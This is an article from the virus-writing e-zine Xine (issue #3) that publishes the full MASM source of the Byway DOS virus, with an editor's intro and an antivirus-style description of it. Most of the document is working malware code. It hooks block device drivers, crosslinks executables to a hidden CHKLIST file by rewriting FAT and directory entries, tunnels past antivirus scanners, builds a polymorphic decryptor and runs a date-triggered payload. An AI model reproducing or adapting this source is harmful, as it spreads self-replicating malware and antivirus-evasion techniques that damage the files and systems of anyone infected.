/-----------------------------\
                                        | Xine - issue #3 - Phile 301 |
                                        \-----------------------------/



-<Int13h speaks>-------------------------------------------------------------

Well,  the original idea was to have in Xine#3 the interview with Wai Chan
and the source code of his famous Byway virus. I emailed him the interview
and as far as I know he was answering the questions. He sent me the source
of his virus also.  But  I lost contact with him some time ago, he doesn't
answered  my emails and then I don't know what happened with him. For that
reason  here goes the source of his great and complex creation, the inter-
view will go in Xine#4 (I hope!). Mr.Wai Chan: where are youuuuuuu????? :)


-<FuckProt speaks>-----------------------------------------------------------

Name  : Byway
Alias : Dir.Byway, Dir-II.Byway, HndV, DirII.TheHndv, Chavez
Origin: Venezuela (South America)
Size  : 2048
Type  : Resident  Stealth  COM/EXE-files
Repair: No 

In  the  summer  of 1995 a new virus using advanced cluster technique for
spreading  was found. This polymorphic virus was named 'Byway'. The virus
has  been  found  in  both  Europe and USA and is known to be in the wild
internationally. 
Byway is an extremely fast infector of COM and EXE files. It uses similar
methods  with  spreading as the old DIR-II virus family, but it employs a
novel  technique.  When  the user executes an infected program in a clean
machine, the  virus creates a hidden file called CHKLISTx.MSx in the root
directory  (where "x" is ASCII-255, a fake space). When it infects a file
it  changes  the directory entries and crosslinks all executable files to
point  to  the  CHKLISTx.MSx file, which in turn contains the virus code.
Microsoft  Anti-Virus  uses  almost  the same name for its checksum file,
apparently  the  virus  author  wanted  to make the user believe that the
new file is the MSAV's file. 
Byway  exhibits both polymorphic and full stealth behavior. When the user
runs  an infected program for the first time, the virus executes instead,
reserving  3216  bytes for itself. From this time on, all disk operations
are  rerouted to the original files, resulting in their correct execution
and functioning.This way the virus hides quite successful from detection.
Byway  employs  an  improved  tunneling technique in order to bypass most
antivirus  programs  and integrity checkers. In fact it is able to defeat
most  antivirus  programs  that use their "own file system" to scan files
and  in  turn,  it  infects  the home directory of all scanned executable
files.  This way the virus spreads very quickly through exposed machines.

The Byway.A variant contains the following encrypted texts: 

The-HndV
by:Wai-Chan,Aug94,UCV 

In Byway.B variant, the second text is a bit different: 

-By:W.Chan- 

Byway  activates  on several dates after year 1996. The activation depends
on  a  parity  check of a "generation counter" and a date triggered event:
(day of the month) = (((month's number)*2)+2) 
For example 4th of January, 6th of February and 26th of December, so there
is  a trigger date every month. When activated it displays a running text:

TRABAJEMOS TODOS POR VENEZUELA !!! 

The  text  is  displayed on 3:00, 6:00, 9:00, 12:00, 15:00, 18:00 and 21:00
o'clock.  The  virus  also  tries  to  play  a  tune  through  a sound card.
Byway  is  reported  to  be  in  the  wild  internationally,  especially in
Venezuela, Mexico, Bulgaria, UK and USA.


-<BYWAY.ASM>------------------------------------------------------------------

;
;    PROYECTO:	HndV - Himno Nacional De Venezuela.
; DESCRIPCION:	Interceptor de "Manejador de Dispositivo" de Bloque.
;		(Block "device driver" hooker).
;       AUTOR:  Wai Chan
;	LUGAR:	UCV - Universidad Central de Venezuela.
;		Caracas, Venezuela.
;        DATE:  13/Jul - 28/Ago/94.
;
; Compile under MASM

cseg  segment
      org 100h
      assume cs:cseg,ds:cseg,ss:cseg,es:cseg

of_new_stgy   equ 48Ch
song_start    equ 16h
of_msg        equ 16Ch
of_count      equ 277h
of_trig       equ of_count + 6Ah

dta_buf     equ   0A80h

of_old_intr equ   of_new_stgy - 14h
of_old_stgy equ   of_new_stgy - 19h
of_5_bytes  equ   of_new_stgy - 34h
of_param    equ   of_new_stgy - 42h
of_hard     equ   of_new_stgy - 4Fh
of_flop     equ   of_new_stgy - 57h
of_old_8    equ   of_new_stgy - 6Dh
of_chg_drv  equ   of_new_stgy + 40h

s_block1    equ   22 ; 16h
s_block2    equ   28 ; 1Ch

of_entry    equ   900h + s_block1 + s_block2
of_last     equ   of_entry + 1Ah

msg_size    equ 22h ; 34
song_size   equ 37h ; 55

driver:     jmp short pinpin

garbage db 0Bh,8Ah,46h,0FDh,88h,46h,0FEh,0EBh,32h,0F6h,46h,0FEh,01h,74h,26h,0A1h
        db 80h,0E1h,0E8h,0E4h,0B9h,8Ah,5Eh,0FFh,2Ah,0FFh,0D1h,0E3h,8Bh,87h,0B5h,40h
        db 89h,46h,0F6h,0FFh,56h,0F6h,88h,46h,0FBh,3Ch,1Bh,75h,03h,0E9h,86h,01h
        db 80h,06h,81h,0E1h,01h,0FEh,46h,0FFh,0D0h,6Eh,0FEh,80h,7Eh,0FFh,55h,0B2h
        db 0E3h,25h,7Eh,0BFh,59h,0E4h,0A3h,9Dh,3Ch,0F9h,0C6h,56h

pinpin:    jmp   bambam ; offset 14Eh

db 'The-HndV',3

tabl_tone dw 0BE4h
          dw 0A98h
          dw 0970h
          dw 08E8h
          dw 07F0h
          dw 0712h
          dw 06ACh
          dw 05F2h
          dw 054Ch

; msg db 'TRABAJEMOS TODOS POR VENEZUELA !!!'

msg db 2Fh,0FEh,2Bh,63h,7Eh,0F8h,2Fh,5Fh,9Eh,0BEh,4Ah,3Bh,9Eh,7Bh,25h,27h
    db 68h,7Eh,25h,23h,68h,0FFh,2Fh,53h,3Eh,0FCh,3Fh,7Fh,0AEh,3Ah,4Ah,0EEh
    db 78h,22h

real_count db 0,3,0,5,7,7,5,10,10,11,8       ; db 1,1,3,1,2,1,2,2,3,1,3

  lovely2:  mov    bx,00C8h
            mov    ah,25h
            pop    bp
            cmp    al,4
            mov    cx,-1
            mov    [bp-of_new_stgy+of_chg_drv+2],bl
            sbb    di,di
            call   int_21            ; get disk list
            mov    ah,29h
            mov    si,8
            call   int_21            ; free memory
            push   bx
            xchg   ax,cx
            lds    bx,es:[bx]
      @@:   or     [bx+di+18h],al
            lds    bx,[bx+di+19h]
            db     3Bh  ;;; cmp ax,bx
   rety:    db     0C3h
            jne    @b
            pop    bx
            lds    di,es:[bx+si] ; get CLOCK$ device driver
            inc    ax
            push   ax
       @@:  lds    di,[di]  ; get next drivers in chain until block driver
            test   si,[di+5]
            jz     @b
            mov    cx,ds
            mov    bx,si
            cmp    cx,70h
            jnz    @b
            les    si,[di+6]
            push   es
            push   cs
            lea    di,[bp-of_new_stgy+of_5_bytes]
            mov    [bp-of_new_stgy+of_old_stgy],si
            mov    [bp-of_new_stgy+of_old_intr],es
            cld
            pop    es
            movsb
            cmp    bp,[si]
            movsw
            movsw
            pop    si
            movsb
            je     rety ; go to a `ret' instruction

            pop    ds ; ds=0
            mov    dx,es
            mov    [bp-of_new_stgy+of_param+8],dx ;;;;;;;;;
            les    si,[bx+44h] ; es:ax = 0:4*13h
            mov    [bp-of_new_stgy+of_flop+1],si
            mov    [bp-of_new_stgy+of_flop+4],es
            push   bx
            mov    [bp-of_new_stgy+of_hard+1],si
            mov    [bp-of_new_stgy+of_hard+4],es
            cmp    al,[di-of_5_bytes-6+bx-8+475h]    ; cmp 0:[475h],0
            pop    ds
            dec    dx
            jnc    tick ; no hard disk installed!

            les    si,[bx+78h] ; es:ax = 0:4*40h
            cmp    [bx+7Ch],si
            je     tick
            mov    [bp-of_new_stgy+of_flop+1],si
            mov    [bp-of_new_stgy+of_flop+4],es

    tick:   push   ss
            mov    ds,dx
            mov    [bx-7],bx
            push   bp
            les    di,[bp-of_new_stgy+of_old_stgy] ; set address of new_stgy (again)
            sub    al,-0EAh
            stosb
            pop    ax
            stosw
            pop    ax
            stosw

            lea    si,[bp-of_new_stgy+of_old_stgy-8]
            mov    bx,[bx+34h]
            mov    ds,ax

            push   cs
            push   ds
            call   lord

;            pop    es
;            pushf
;            mov ax,4803h
;            mov cx,646Eh
;            sub ax,0356h
;            mov si,ax
;            mov di,si
;            std
;  keying:   dec cx
;            jz lomp
;            lodsw
; sec_word:  xor ax,8B9Fh
;            stosw
;            jmp short keying
;  lomp:     popf
;            ret
;
;enttry  db     'CHKLIST',0FFh     ; file name
;        db     'MS',0FFh          ; file extension
;        db     27h                ; file attribute
;        db     10 dup (0)         ; 10 unused bytes (0) reserved by DOS
;        dw     3280h              ; time = 5:37:42 PM
;        dw     1B3Eh              ; date = June 14th 1993
;        dw     6CD5h              ; beginning cluster
;        dw     800h               ; file size
;        dw     0                  ;    ''

db 08h,79h,0D8h,14h,91h,9Dh,0D0h,84h,4Bh,82h,0E5h,88h,0A9h,0F9h,0DFh,0F4h
db 0F7h,2Ch,40h,34h,0D9h,50h,5Dh,7Ch,94h,0F4h,0FEh,0E8h,71h,41h,0A2h,91h
db 13h,44h,9Fh,0F3h,0EFh,3Dh,0D8h,0F6h,3Eh,09h,40h,09h,42h,09h,44h,09h
db 46h,09h,0DDh,90h,0F9h,0F8h,0D6h,0AEh,4Eh,0Bh,50h,09h

 hex_count  dw     0

    lord:   mov    di,900h
            mov    cl,s_block1/2
            pop    ax
            pop    es
            rep    movsw

            mov    cl,(20h + s_block2)/2
            mov    [bp-of_new_stgy+of_param+4],ds ;;;;;;;;;
            xchg   ax,si ; si=ax
       @@:  lodsw
            xor    ax,di
            rol    ax,cl
            stosw
            loop   @b
            xchg   ax,di ; di=0
            push   ax
            sub    ax,of_entry+20h-0A4EBh ; al=EBh (JMP) ; ax=A4EBh
            scasb ; di=1
            add    [si],di
            jpo    no_yet ; activates on parity
            shr    al,1    ; al=75h (JNZ)
   no_yet:  push   cx ; cx=0
            mov    es,bx
            mov    [si-of_count+of_trig],al
            cmp    bx,di ; bx=0?
            jc     parent
            call   int_21
            cld
            pop    ax ; ax=0
       @@:  dec    di
            scasw
            jnz    @b
 stones:    scasw
            xchg   di,si ; si=di
            jmp    short monit
   monit2:  jmp    comando
   parent:  mov    ds,[bx+16h]
            add    bx,[bx+16h]
            pop    si ; si=0
            jz     monit2
            dec    bx
   monit:   mov    ds,bx
  monit3:   mov    cl,28h
            pop    di
            pop    es
            push   di
            rep    movsw

            mov    di,offset hanging
            mov    ah,15h ; 2Ah ; get date
            call   int_21
            pop    ax
            push   es
            rol    dh,1 ; 2*month
            xchg   ax,dx
            mov    bx,2
            mov    [bp-of_new_stgy+of_param+0Ch],es ;;;;;;;;;
            sub    al,ah ; day - 2*month
            cmp    bl,al
  trig:     jnz    not_yet
            cmp    cl,0CCh
            jc     not_yet
           ; cmp    cl,0CBh ; is year 1995?
           ; jnz    its_time
           ; cmp    ah,2*month
           ; jc     not_yet

 its_time:  sub    al,2-0EBh
            cli
            stosb
            mov    ax,es
            mov    ds,bx ; ds=0002
            xchg   ax,[bx] ; get old & set new segment for int 8h
            mov    [bp-of_new_stgy+of_old_8+2],ax
            mov    ax,offset new_int8
            xchg   ax,[bx-2] ; get old & set new offset for int 8h
            mov    [bp-of_new_stgy+of_old_8],ax
 not_yet:   mov    al,bh
            pop    ds
            lea    bx,[bp-of_new_stgy+of_param]
            mov    ah,0A5h
            call   int_21
            mov    ah,0A6h ; 4Dh
            call   int_21
 terminate: mov    ah,26h  ; 4Ch
 int_21:    rol    ah,1
            sti
            int    21h
            ret

;tabl_song db 73h,73h,73h,73h
;          db 76h,53h,52h
;          db 66h,45h,41h
;          db 46h,43h,42h
;          db 66h,45h,40h
;          db 56h,37h
;          db 43h,43h,23h,23h
;          db 30h,00h,10h,20h,30h,40h,50h,60h
;          db 73h,73h,73h,73h
;          db 76h,53h,52h
;          db 62h,72h,82h,62h
;          db 46h,43h,42h
;          db 86h,65h,60h
;          db 76h,57h
;          db 63h,62h,43h,42h
;          db 36h,37h

tabl_song db 0CBh,0C4h,0C5h,0C6h,86h,0C8h,89h,87h,4Eh,70h,0B0h,0F2h,0B3h,0BDh,74h,36h
          db 0B2h,0E5h,0F9h,0FAh,0E3h,0E4h,21h,2Eh,2Bh,38h,3Dh,22h,27h,2Ch,0E9h,0EAh
          db 0EBh,0E4h,0A4h,0EEh,0AFh,0A4h,0A1h,9Eh,0A7h,0D1h,91h,0D2h,0E2h,1Dh,5Dh,0DBh
          db 92h,90h,0D1h,9Ah,0DBh,0C1h,80h

new_int8: push ax
          push bx
          push cx
          push ds
          push si
          push di

      X1: jmp  short X2 ; jmp X2 or jmp X3
      X2: mov  bx,43h
          mov  ds,bx
          lds  ax,[bx-7]
          test ax,ax
          jnz go_X0
          mov bl,3
          mov ax,ds
          div bl
          test ah,ah
          jnz go_X0

      X3: cld
          push cs
          mov ax,316h
          mov cl,2
          pop ds
    nido: mov si,offset tabl_song
          mov ds:[X1+1],al ; jmp X3
          lodsb

          xor ax,si
          rol al,cl

   video: mov di,6001h
          mov bx,ax
   niam2: and al,0Eh
    niam: cmp al,0
          jnc odin
          xchg ax,si
          and ds:[niam+1],bh
          cmp al,song_size+song_start
          jc  X4

   nido2: mov al,02
          dec al
          jnz X5
          mov word ptr ds:[count+1],162
          mov ds:[X1+1],al  ; jmp X2
          sub al,-2
      X5: mov ds:[nido2+1],al
          mov al,song_start
      X4: shr bl,1
          mov ds:[nido+1],al
          in al,61h
          jnc odin2
          and al,0FCh
          out 61h,al
          jmp short mesag
 go_X0:   jmp short X0
    odin: shr bl,1
          in al,61h
          inc byte ptr ds:[niam+1]
   odin2: shr bl,cl
          test al,1
          jz speaker
          test al,2
          jnz tuning
 speaker: or al,3
          out 61h,al
          mov al,0B6h
          out 43h,al
  tuning: mov ax,[bx+tabl_tone]
          out 42h,al
          mov al,ah
          out 42h,al

mesag:    ror di,1
          mov bl,0AAh
  count:  mov ax,160
          push di
          dec ax
          dec ax
          mov di,ax
          mov cx,2*msg_size
          cmp ax,-2*2*msg_size + 2
          jnz @f
          mov ax,160
      @@: mov ds:[count+1],ax
          pop ds
          mov si,offset msg
   again: mov ax,0F20h
          ror bl,1
          jc  @f
          db 2Eh
          lodsb
          xor al,6Ah ;;;
          rol al,cl ;;;
      @@: cmp di,00A0h
          jnc @f
          mov [di+8000h],ax
          mov [di],ax
      @@: inc di
          inc di
          loop again

    X0:   pop di
          pop si
          pop ds
          pop cx
          pop bx
          pop ax

       db 0EAh
 old_int8 dd 5C28A7C2h

steal:      MOV    DI,0002     ; uses:  AX, CX, DI, DS
            MOV    DS,DI
            POP    AX
            PUSH   [DI+2Ch]
            PUSH   [DI+2Ah]
            PUSH   AX
            CMP    Byte Ptr ES:[BX+0Dh],0F8h
    flop:   MOV    AX,0EC59h
            MOV    CX,0F000h
            JNZ    @f
    hard:   MOV    AX,0A565h
            MOV    CX,0F000h
       @@:  MOV    [DI+2Ah],AX
            MOV    [DI+2Ch],CX
            RET

param_blck  dw 0000h
            dd 11110080h
            dd 1111005Ch
            dd 1111006Ch

_5_bytes    db    2Eh,89h,1Eh,12h,00h ; 5 dup (?)
            db    0E8h                ; ?

old_1:      mov    word ptr es:[bx+12h],1
old_4:      mov    byte ptr es:[bx+2],4
            jmp    short old

            pop    es
            push   ds
writ:       mov    byte ptr es:[bx+2],8

old:        db     9Ah         ; call old_stgy
old_stgy    dd     007006F5h
            db     9Ah
old_intr    dd     0070073Eh
            cmp    byte ptr es:[bx+4],80h
            ret

bambam:     mov    sp,0A80h
            mov    ah,30h
            int    21h               ; get DOS version number
            call   lovely2

new_stgy:   push   ax
            push   ds
            push   si
            push   di

            mov    al,0F0h
            mov    si,offset _5_bytes
            push   cs                  ; restore code (first 5 bytes)
            pop    ds
            cld
            push   es
            les    di,[si-of_5_bytes+of_old_stgy]
            movsb
            movsw
            movsw
            mov    di,[si-of_5_bytes-5+of_old_intr]
            movsb
            pop    es
            lea    di,[bx+0Dh]

            scasb
            ja     go
            mov    ax,es:[di-0Dh]
            xchg   ah,al
            cmp    al,1
            je     chk_chg
            cmp    al,4
            je     check
            cmp    al,9
            je     check
            cmp    al,8
            je     check
go:         call   dword ptr [si-of_5_bytes-6+of_old_stgy]
            jmp    pops

 check:     push   cx
            push   dx
            dec    di
            push   ax
            xor    cx,cx
 chg_drv:   cmp    ah,1
            mov    [si-of_5_bytes-6+of_chg_drv+2],ah
            mov    ax,0FF8h
            jnz    heck
            scasb
            jz     choose
            mov    ds,cx ; ds=0
            test   ah,[si-of_5_bytes-6+43Fh]
            jnz    choose
            dec    di

   heck:    inc    cx ; cl=1
            scasb
            jnz    deti
            mov    cl,0Bh
     deti:  mov    cs:[si-of_5_bytes-6+com_exe+1],cl

            call   infect

  choose:   pop    ax
            test   al,6
            jnz    c_old
            loop   inf

chk_chg:    call   old
            scasb
            jz     res_int2
            mov    byte ptr [si-of_5_bytes-6+of_chg_drv+2],56h
            jmp    short res_int2

c_old:      call   old_4
            jnc    rip

   inf:     lds    di,es:[bx+0Eh]
            mov    si,es:[bx+12h]
            push   si
            push   ax
   tec:     mov    ax,200h
            mul    si
            add    ax,di
            xor    dx,dx
            xchg   ax,si

  y_n:      jmp    short yu
            call   crypt
   yu:      inc    dx ; dl=1
  here2:    jcxz   fixx
            pop    ax
            push   ax
            test   al,0Ah
            jz     tuneling
            mov    es:[bx+2],al
            call   old
            jmp    short fixx
tuneling:   call   steal
            call   writ
            call   unsteal
   fixx:    lds    di,es:[bx+0Eh]
            call   crypt
            pop    ax
            pop    si
            test   al,6
            jz     rip
            mov    es:[bx+12h],si ; r
            mov    es:[bx+4],dl   ; r
     rip:   mov    es:[bx+2],al   ; r/w

res_int:    pop    dx
            pop    cx
res_int2:   lds    si,cs:[of_old_intr]
            mov    byte ptr [si],0CBh

pops:       mov    di,of_new_stgy
            lds    si,cs:[di-of_new_stgy+of_old_stgy]
            mov    [si+3],cs
            mov    byte ptr [si],0EAh
            mov    [si+1],di

            pop    di
            pop    si
            pop    ds
            pop    ax

            retf

chk_comm:   cmp    word ptr [di+5],'DN'
            jnz    check_attr
   lula:    add    di,20h

crypt       proc   near

            cmp    di,si
get_ext:    mov    ax,[di+8]
com_exe:    jc     check_com
            ret
check_exe:  cmp    ax,'XE'
            jnz    check_com
            cmp    al,[di+0Ah]
            jz     check_size
check_com:  cmp    ax,'OC'
            jnz    lula
            cmp    byte ptr [di+0Ah],'M'
            jnz    lula
            cmp    ax,[di]
            jz     chk_comm
check_attr: test   byte ptr [di+0Bh],1Ch
            jnz    lula
check_size: cmp    byte ptr [di+1Dh],8
            jnc    oopp
            cmp    word ptr [di+1Eh],0
            jz     lula
     oopp:  test   dl,dl
            jnz    decrypt
check_dir2: cmp    dx,[di+14h]  ; check for the presence of DIR-2 virus
            jnz    lula
check_last: mov    ax,cs:[of_last]
            cmp    ax,[di+1Ah]
            jz     lula
encrypt:    xchg   ax,[di+1Ah]
            cmp    dx,[di+0Eh]
            jnz    writ_now
            ror    ax,1
            mov    [di+0Eh],ax
            mov    al,[di+0Bh] ; set r/o bit and hide in 7th bit original
            and    al,1        ;
            ror    al,1        ;
            inc    ax          ;
            or     [di+0Bh],al ;
 writ_now:  loop   lula
decrypt:    xor    cx,cx
            xchg   cx,[di+0Eh]
            jcxz   lula
            rol    cx,1
            mov    [di+1Ah],cx
            mov    al,[di+0Bh]
            rol    al,1        ;
            dec    ax          ;
            shr    al,1        ;
            mov    [di+0Bh],al ;
nexty:      jmp    short lula
crypt       endp

infect:     xchg   di,si ; si=di=bx+0Eh
            call   steal ; ax,cx,di,ds
            cld
            push   es
            mov    cx,9
            mov    byte ptr cs:[di-2+y_n+1],3 ; <- disable infection
            pop    ds
      @@:   lodsw
            push   ax
            loop   @b

            inc    cx
            cmp    [si-20h+12h],cx
hanging:    jc     okquit
            mov    word ptr [si-20h+0Eh],dta_buf
            mov    [bx+di-2+10h],cs
            mov    [si-20h+14h],cx
            call   old_1
            jnc    okquit
            call   writ
            jnc    okquit
            cmp    [bx+12h],cx
            jc     okquit
            mov    [bx+di],di
            call   old          ; Build BPB
            jc     @f
   okquit:  jmp    short quit
       @@:  lds    di,[bx+12h]  ; get pointer to BPB (ds:si)
            mov    ax,[di]
            mov    cs:[tec+1],ax
    flint:  cmp    ax,200h
            jnz    quit
            mov    cl,4
            mov    si,[di+0Bh]
            cbw
            mov    al,[di+5]    ; get # of sectors for FAT('s) (ax)
            mov    cs:[num_fats+1],al
            mul    si
            add    ax,[di+3]    ; get starting sector for ROOT (ax)
            mov    dx,[di+6]    ; get # of sectors for ROOT (dx)
            mov    cs:[secs_fat+3],si
            add    dx,0Fh       ;
            shr    dx,cl        ;
            add    dx,ax        ; get starting sector for DATA (dx)
            mov    cs:[timeto2+1],ax
    repet:  mov    es:[bx+14h],ax
            call   old_1
            jnc    quit
            push   ds
            mov    cl,10h
            lds    si,es:[bx+0Eh]   ; get buffer head (ds:si)
   search:  cmp    ch,[si]
            jz     timeto
            cmp    word ptr [si],'HC'
            jnz    next
            cmp    word ptr [si+0Ah],27FFh
            jnz    next
            cmp    word ptr [si+17h],3F32h
            jnz    next
            cmp    word ptr [si+1Dh],8
            push   [si+1Ah]
            pop    ds:[of_last]
            jz     quit3
     next:  add    si,20h
            loop   search
            inc    ax
            cmp    ax,dx
   quit3:   pop    ds
            jc     repet
            jcxz   quit
   quit2:   mov    byte ptr cs:[y_n+1],0 ; <- enable infection
   quit:    mov    cx,9
            std
            lea    di,[bx+1Eh]
     @@:    pop    ax
            stosw
            loop   @b
            call   unsteal
    beach:  ret

   timeto:  cmp    cl,0Eh
            mov    cl,0
            jc     @f
  timeto2:  cmp    ax,1111h
            jz     quit3
        @@: cmp    cx,[si-6]
            xchg   ax,si
            jnz    alelu
   pollo:   cmp    ax,8F2Ah
            mov    ds:[pollo+1],ax
            clc
            jnz    quit3
  alelu:    pop    ds
            push   ax    ; first unused directory entry
            push   si    ; last ROOT sector read
            push   dx    ; first data sector
            mov    ax,[di+8]     ; get total sectors of disk (dx:ax)
            mov    si,dx
            xor    dx,dx         ;
            cmp    ax,cx         ;
            jnz    @f            ;
            mov    dx,[di+17h]   ;
            mov    ax,[di+15h]   ;
       @@:  sub    ax,si       ; get total sectors for DATA area (dx:ax)
            sbb    dx,cx       ;
            mov    cl,[di+2] ; sectors per cluster
            div    cx            ; get total number of clusters (ax)
            push   cs
            xor    dx,dx
            cmp    ax,0FEFh
            pop    ds
            push   cx
            jnc    @f
            mov    ch,8
      @@:   cmp    cl,2
            jz     toto2
            jc     toto1
            inc    dx             ; 4 -> 3
   toto2:   inc    dx             ; 2 -> 2
            inc    dx
   toto1:   mov    ds:[_12 +1],ch ; 1 -> 0
            mov    ds:[lara+1],dl
            xor    cx,cx
            jmp    short _486

    yepa:   dec    ax
    yeap:   cmp    cx,ax
            jnc    o_12
            mov    ds:[_586+1],ax ;;;;;;;;;;
   lara:    jmp    short _2
            dec    ax
            dec    ax
       _2:  dec    ax
       _4:  mov    ds:[of_last],ax  ; store eof cluster

  _again2:  mov    ax,ds:[_586+1]
   _again:  mov    dx,3
            mov    di,ax
     _12:   jmp    short fat12
  fat16:    dec    dx
            mov    si,0FFFFh
            mul    dx
            jmp    short sec
  fat12:    mov    si,0FFF0h
            mul    dx
            shr    ax,1
            jc     sec
            mov    si,0FFFh
    sec:    div    word ptr ds:[flint+1]
            inc    ax
            xchg   ax,di
            cmp    dx,01FFh
  _486:     jz     yepa
            cmp    di,es:[bx+14h]
            je     @f
            mov    es:[bx+14h],di
            call   old_1 ; reading -> not ready error (yes) , -> disable (yes)
  o_12:     jnc    o_1  ; c z (nc nz) (quit)
  _586:     cmp    ax,1111h
            jnz    yeap
     @@:    mov    di,es:[bx+0Eh]
            add    di,dx
            mov    dx,[di]   ; mask word to get right position in FAT
            and    dx,si
            jnz    yepa

            jcxz   ju
eof_clust:  test   ch,ch
            jz     put_prev
       eof: or     [di],si
  put_prev: mov    cx,4
            mov    dx,ax
            inc    dx
            test   si,cx
            jnz    @f
            shl    dx,cl
       @@:  or     [di],dx
       ju:  dec    ax
      ju2:  cmp    ax,ds:[of_last]
            jnc    _again
            jcxz   ookk
            push   es
            pop    ds
  num_fats: mov    cl,11h
   ula_ula: call   writ
            jc     secs_fat

     o_1:   pop    si  ; continue ; disable
     o_2:   pop    dx
     o_3:   pop    cx
     o_4:   pop    ax
     o_5:   jmp    quit
   ookk:    loop   _again2

  secs_fat: add    word ptr [bx+14h],1111h
            loop   ula_ula
            xor    di,di
            pop    cx
            pop    si ; first DATA sector
            dec    ax
            mul    cx
            add    ax,si
            mov    cx,470h-(3D0h+3Dh)
            mov    [bx+14h],ax
            adc    dx,di
            jz     @f
            dec    di
            mov    [bx+1Ah],ax
            mov    [bx+14h],di
            mov    [bx+1Ch],dx
      @@:   push   ds
            mov    di,100h
            mov    byte ptr [bx+12h],4
            mov    [bx+0Eh],di
            call   writcrypt
            pop    es
            jnc    o_3  ; z nc (nz nc) (quit)
            mov    word ptr es:[bx+0Eh],dta_buf
            pop    es:[bx+14h]
            pop    di
            call   old_1
            jnc    o_5 ; z nc (quit)
            push   es
            cld
            push   ds
            pop    es
            mov    cl,10h
            mov    si,of_entry
            rep    movsw
            pop    es

            call   writ
            jnc    o_5
            jmp    quit2

unsteal:    POP    AX          ; uses:  AX, DI, DS
            MOV    DI,0003
            MOV    DS,DI
            POP    [DI+19h]
            POP    [DI+1Bh]
            JMP    AX

byte_instr: dec bp       ; offset 13Bh
            inc dx
            inc bx
            clc
            nop
            inc bp
            dec dx
            dec bx

word_instr: shr bx,1   ; 1
            mov bx,cx  ; 2          ; not change ax,cx,si,di,ds,es
            push cs    ; 3          ; could change bx,dx,bp
            pop ds
            add bx,ax  ; 4
            mov dx,ax  ; 5
            or al,al   ; 6
            push ds
            pop es
            mov bx,ax  ; 8

            push cs
            pop es     ; 2
            cmp ax,sp
            shr dx,1   ; 3
            test al,al ; 4
            mov bp,sp  ; 5
            cmp si,di  ; 6
            shr bx,cl  ; 7

build:      ror dx,1   ; 8
            sub ax,di
            add ax,dx
            ror dx,1
            and ax,0Fh
            xchg ax,si
            ror dx,1
            jc wordies
  byties:   shr si,1
            mov al,[si+offset byte_instr]
            stosb
            jnc @f
            xor si,dx
            and si,0Fh
  wordies:  shl si,1
            mov ax,[si+offset word_instr]
            stosw
      @@:   ret

        @@: dec si
comando:    lodsw
            cmp ax,43FFh
            jnz @b
            lodsw
            lodsw
            lodsw
            cmp ax,'YR'
            jnz @b
            lodsw
        @@: lodsb
            cmp al,'A'
            jc @b
            dec si
            jmp monit3

db '<by:Wai-Chan,Aug94,UCV>',0FFh

writcrypt:  push ds ; request header

            mov si,3Dh
            mov ds,si
            push cs
            pop es
        @@: sbb ax,[si]
            xchg ax,dx
            ror ax,1
            inc si
            xor ax,dx
            loop @b
            push cs
            pop ds
            jnz @f
            dec ax
        @@: db 0A3h ;;; mov ds:[poly_word2+1],ax
            dw 92Bh
            sub ax,dx
            or cl,ah
            db 0A3h
            dw 919h
            add ax,-8FEh
            sub dx,ax
            db 0A3h
            dw 91Fh

            cld
            and cl,7
            jz no_add
        @@: call build
            loop @b

no_add:     mov cl,11
            mov si,918h ; offset real instructions
     risc:  push si
            call build
real_instr: mov si,cx
            mov al,[si+offset real_count-1]
            xor ax,si
            pop si
            cbw ; ah=0
            xchg ax,cx
            cmp al,6
            jnz copy_code
            push di
 copy_code: rep movsb
            cmp al,10
            jne @f
            push di
            cmpsw
        @@: cmp al,5
            xchg ax,cx
            jnz cisc
            mov ax,offset pinpin - 1
            sub ax,di
            inc si
            stosb
    cisc:   loop risc
            pop ax
            pop si
            sub ax,di
            stosb
            mov ax,900h
            sub ax,di
            shr ax,1
            inc ax
            mov [si],ax
            db 0A3h
            dw 91Ch

polymorph:  db 0E8h  ;;; call poly ; on entry DS=CS, ES=CS ;;; offset 8FDh
            dw 0017h ;;; call 0917h

;writt:      pop    es ; es=request header ;;; offset = 900h !!!
;            push   ds
;            mov    byte ptr es:[bx+2],08h
;old:        db     9Ah         ; call old_stgy
;old_stgy    dd     007006F5h
;            db     9Ah
;old_intr    dd     0070073Eh
;            cmp    byte ptr es:[bx+4],80h
;
;            pop  es ; es=cs ; 28   ; offset 916h
;     poly:  pushf
;            mov ax,8FEh ; (* 919h) ; offset 918h
;            mov cx,clk2
;            sub ax,0    ; (* 91Fh)
;            mov si,ax
;            mov di,si
;            std
;    morph:  dec cx
;            jz  pilpil
;            lodsw
;poly_word2: xor ax,0000h ; (* 92Bh)
;            stosw
;            jmp short morph
; pilpil:    popf
;            ret

ending:

cseg ends

end driver